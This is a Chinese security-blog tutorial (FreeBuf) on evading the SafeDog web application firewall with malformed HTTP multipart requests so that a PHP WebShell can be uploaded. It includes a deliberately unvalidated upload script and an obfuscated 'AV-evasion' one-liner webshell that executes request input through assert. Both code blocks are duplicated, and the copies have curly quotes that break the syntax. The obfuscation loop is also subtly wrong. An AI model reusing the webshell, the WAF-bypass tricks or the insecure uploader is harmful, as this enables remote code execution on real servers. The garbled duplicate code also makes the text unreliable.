*本文原創作者:1_2,本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載
這篇文章我介紹一下我所知道的繞過網站安全狗上傳WebShell的方法。
思路是:修改HTTP請求,構成畸形HTTP請求,然後繞過網站安全狗的檢測。
廢話不多說,切入正題。。。。
1、實驗環境:
Windows Server 2003、Apache/2.4.18、PHP/5.3.29、網站安全狗(Apache版)V3.5.12048
2、用於文件上傳的PHP源碼:
<?php
$path = dirname(__FILE__) . '/upload/';
$rand = rand(0,30);
move_uploaded_file($_FILES["file"]["tmp_name"],$path . $rand . $_FILES["file"]["name"]);
echo "File Path:" . $path . $rand . $_FILES["file"]["name"] . "<br/>";
echo "OK";
?>
<?php
$path = dirname(__FILE__). '/upload/';
$rand = rand(0,30);
move_uploaded_file($_FILES[“file”][“tmp_name”],$path . $rand . $_FILES[“file”][“name”]);
echo“File Path:”. $path . $rand . $_FILES[“file”][“name”] .“<br/>”;
echo“OK”;
?>
因為此次實驗的目的是繞過網站安全狗,所以PHP源碼上我沒做任何檢測,把上傳的檔案直接放在upload目錄下。
3、先看一下正常的HTTP請求:
很明顯,檔名為”yijuhua.php”被攔截。。。。
4、嘗試%00截斷:
很明顯,失敗了。。。
5、修改HTTP請求,構造畸形HTTP請求
(1)删除實體裡面的Conten-Type欄位:
繞過網站安全狗的攔截,成功上傳WebShell。。。
(2)删除Content-Disposition欄位裏的空格:
(3)修改Content-Disposition欄位值的大小寫:
6、菜刀連接一句話:
到此,上傳WebShell結束,各位看明白了嗎?
7、免殺PHP一句話:
<?php
/*
PHP一句话木马
assert($string)
*/
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++) {
$func .= $func . $arr[$i];
}
$func($_REQUEST['c']);
?>
<?php
/*
PHP一句話木馬
assert($string)
*/
$arr = array('a','s','s','e','r','t');
$func = '';
for($i=0;$i<count($arr);$i++){
$func .= $func . $arr[$i];
}
$func($_REQUEST['c']);
?>
8、修復漏洞:
出現這種情況,我認為是網站安全狗在開發時沒有考慮到畸形HTTP請求,而Apache卻相容畸形HTTP請求,所以能够上傳成功。
*本文原創作者:1_2(QQ:965207103),本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載